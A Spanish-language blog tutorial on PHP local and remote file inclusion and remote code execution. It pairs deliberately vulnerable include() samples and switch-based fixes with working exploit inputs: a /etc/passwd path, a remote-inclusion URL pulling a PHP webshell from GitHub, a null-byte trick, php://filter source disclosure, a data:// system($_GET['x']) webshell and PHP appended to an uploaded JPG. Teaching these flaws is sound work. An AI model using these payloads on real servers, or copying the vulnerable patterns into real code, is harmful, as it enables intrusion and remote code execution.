[LFI && RFI && RCE ] Jugando con los include y fopen de PHP

Hoy vamos a explicar un poco el funcionamiento de un LFI (Local File Inclusion), de un RFI (Remote File Inclusion) y de algún que otro RCE (Remote Code Execution). Para ello vamos a valernos de una serie de ejemplos en php, que nos ayudarán a explotarlos, con el fin de que cuando hagamos una página web, nos pensemos dos veces antes de hacer ciertas cosas que podrían implicar una brecha importante en la seguridad de nuestro amado sitio.

Para facilitar la descarga de los ejemplos, he creado un repositorio en Github donde podréis encontrar el código de todos los ejemplos. Podeis acceder a el atraves del siguiente enlace: https://github.com/shargon/Php-LFI-RFI-RCE

Lo primero, aclarar que en el caso del php, para pasar de un RFI a un LFI, basicamente dista como esté configurado el php. De aquí la importancia de establecer de forma correcta (desactivar) las siguientes variables:

allow_url_fopen : http://php.net/manual/es/filesystem.configuration.php#ini.allow-url-fopen

allow_url_include  : http://php.net/manual/es/filesystem.configuration.php#ini.allow-url-include

Básicamente estas variables permiten, que en una función include o en la apertura de un archivo (fopen), se le puedan pasar urls externas, y no necesariamente archivos físicos.

#LetsGo!

 

#Sample – 1 [ Sin añadir extensión ]

Normalmente, el simple hecho de ver un archivo en una variable GET o POST,  es síntoma de que algo no se está haciendo de la forma correcta, aunque no siempre. El caso en cuestión es uno de ellos y podemos verle a continuación:

<?php
$page='pages/home.php';

if (isset($_GET['page']))
{
  if (file_exists('pages/'.$_GET['page']))
    $page='pages/'.$_GET['page'];
}
?>
<a href="index.php?page=home.php">Home</a>&nbsp;-&nbsp;<a href="index.php?page=login.php">Login</a>
<?php
include ($page);

Básicamente el código incluye un recurso que le viene dado por $page, el cual puede ser modificado (si el archivo existe) por una variable GET.

Se trata de un error habitual, en el que se confía en la entrada del usuario, y se incluye un archivo que el desarrollador del sitio cree controlar. Pero si se abusa de su confianza, podríamos por ejemplo hacer lo siguiente:

miserver.com/index.php?page=/etc/passwrd

 

En este caso, el programador, ha confiado que en comprobar que el archivo exista, era suficiente (ERROR). La forma correcta de defenderse aquí sería mediante un switch, es mas pesado, pero mas efectivo. No siempre lo más fácil es lo mejor, y cuando hablamos de seguridad, se trata de algo habitual.

<?php
$page='pages/home.php';
if (isset($_GET['page']))
{
  switch($_GET['page'])
  {
    case 'home' :
    case 'login': $page='pages/'.$_GET['page']; break;
  }
}
?>
<a href="?page=home.php">Home</a>&nbsp;-&nbsp;<a href="?page=login.php">Login</a>
<?php
include ($page);

#Sample – 2 [ Añadiendo extensión ]

El caso es parecido al anterior, a diferencia de que en el código se incluye la extensión, y ya no viene por parámetro. Además también podemos ver que los archivos ya no están en la carpeta pages. Por lo que no se concatena parte de la dirección del archivo (pages/) al principio de la variable. Tampoco se comprueba que el archivo exista, como podemos comprobar mas abajo.

<?php
$page='home.php';
if (isset($_GET['page']))
{
    $page=$_GET['page'].'.php';
}
?>
<a href="?page=home">Home</a>&nbsp;-&nbsp;<a href="?page=login">Login</a>
<?php
include ($page);

Esto nos permite realizar un RFI, siempre y cuando estén las variables que hemos visto con anterioridad, activadas. De forma que sería

miserver.com/index.php?page=https://raw.githubusercontent.com/JohnTroony/php-webshells/master/Predator

captura

Nótese que no agregamos la extensión al final del parámetro, de forma que luego el propio código de la aplicación lo agrege.

Existen repositiorios en github como (https://github.com/JohnTroony/php-webshells) con un montón de shells en php para poder utilizar a tu antojo.

De nuevo la mejor forma de atajar el problema, sería con un switch

switch($_GET['page'])
    {
    case 'home' :
    case 'login': $page=$_GET['page'].'.php'; break;
    }

En versiones inferiores a PHP 5.3.4, existe una forma de poder incluir archivos que no sean .php (o la extensión que añada el script).

Mediante el NULL BYTE INJECTION (%00), pero desde la versión 5.3.4 (http://svn.php.net/viewvc?view=revision&revision=305507) este fallo ya no está disponible. La forma de explotarla sería de la misma forma, pero terminando la cadena con %00, de forma que php detectaba el fin de cadena, y no concatenaba el resto, ya que «mifoto.jpg%00.php»- Puesto que para php solamente sería «mifoto.jpg»

Para una versión vulnerable, un ejemplo sería: miserver.com/index.php?page=mifoto.jpg%00

 

#Sample – 3 [ Obteniendo el código php ]

Para el siguiente ejemplo vamos a utilizar los mismos archivos del ejemplo 2, pero con un archivo secreto «config.php«, al que por mucho que podamos injectarle, el interprete del php, le interpreta (nunca mejor dicho), y no tenemos acceso a ver el archivo. Vamos a ver como podemos lidiar con este problema, gracias a los filtros de php. Podemos ver que el archivo existe, por que si le pasamos un archivo que no existe, obtenemos un error.

captura

 

Los filtros de conversión fueron agregados en PHP 5.0.0 y constituyen una gran ventaja en la vida de un pentester. Proporcionan la forma de poder convertir una entrada (de un archivo) en otra muy diferente. Un filtro muy útil es el php://filter/convert.base64-encode/resource=RECURSO. Este filtro convierte la entrada en una cadena en base64, por lo que si se incluye (include o require), para el php ya no se trata de un código php válido, no lo interpreta, y lo devuelve. De esta manera tan sencilla, podemos devolver un código php, sin pasar por el interprete de php.

Mas información: http://php.net/manual/es/filters.convert.php

 

Los data wrappers son sin duda, otros filtros también muy importantes, ya que nos proporcionan la posibilidad de ejecutar código (RCE). Con ellos podemos incluir un archivo, al que especificamos el mimetype y el contenido, desde una cadena de texto. Por lo que acompañando a un LFI, puede resultar letal.

En el siguiente ejemplo incluimos una entrada de tipo texto, con el código php <?php system($_GET[‘x’]); ?> que basicamente ejecuta la variable GET llamada ‘x‘  y devuelve el resultado.

Mas información: http://php.net/manual/es/wrappers.data.php

captura

Otro ejemplo, donde se incluye una entrada de tipo texto, con el código php <?php phpinfo(); ?>

captura

O convirtiéndolos incluso desde una cadena en base64.

captura

 

#Sample – 4 [En uploads ]

Si nos pensamos que todo es tan sencillo, tenéis que pensar que todo depende de como se haga cada página, cada caso es distinto y en ocasiones hay que buscar un poquito mas. Por ejemplo, para el ejemplo 4, el código permite subir imágenes jpg a la página, pero solo jpg. Tras comprobar de que se trata de un archivo jpg, lo mueve a la carpeta y lo muestra.

<?php
$image='logo';

if(isset($_FILES['user_file']))
{
    $file = basename($_FILES['user_file']['name']);
    if(pathinfo($file)['extension']=='jpg' &&
        move_uploaded_file($_FILES['user_file']['tmp_name'], $file)) 
        $image=basename($file,'.jpg');
}

?>

Upload only jpg files:

<form enctype="multipart/form-data" action="index.php" method="POST">
    <!-- MAX_FILE_SIZE debe preceder al campo de entrada del fichero -->
    <input type="hidden" name="MAX_FILE_SIZE" value="3000000" />
    <!-- El nombre del elemento de entrada determina el nombre en el array $_FILES -->
    Enviar este fichero: <input name="user_file" type="file" />
    <input type="submit" value="Send" />
</form>

Image:<br>
<img src='image.php?value=<?php echo $image; ?>'>


captura1

Pero el código que muestra la imagen no lo hace de la forma adecuada, sino que por el contrario, realiza un include (interpreta el código php de su interior)

<?php
$image='logo.jpg';

if(isset($_GET['value']) && file_exists($_GET['value'].'.jpg'))
{
    $image=$_GET['value'].'.jpg';
}

header('Content-Type: image/jpeg');
include($image);
?>

captura2

Por lo que si al final de una imagen, añadimos código php, la imagen se seguirá mostrando, pero el interprete de php, ejecutará dicho código.

 

captura3

 

Como podemos ver la imagen sigue visible después de subirla.

captura4

 

Pero el código de la imagen trae consigo el resultado del phpinfo, al final de la misma.

 

captura5

 

Si guardamos el contenido en un archivo html, y lo visualizamos. Podemos ver la imagen en la cabecera, y después de ello, el phpinfo que se ejecutó en el servidor (RCE)

captura7

 

Y con toda esta chapa, solo espero que os penséis dos veces antes de poner un include, require, include_once, require_once y cualquier función que haga pasar por el interprete de php la entrada recibida.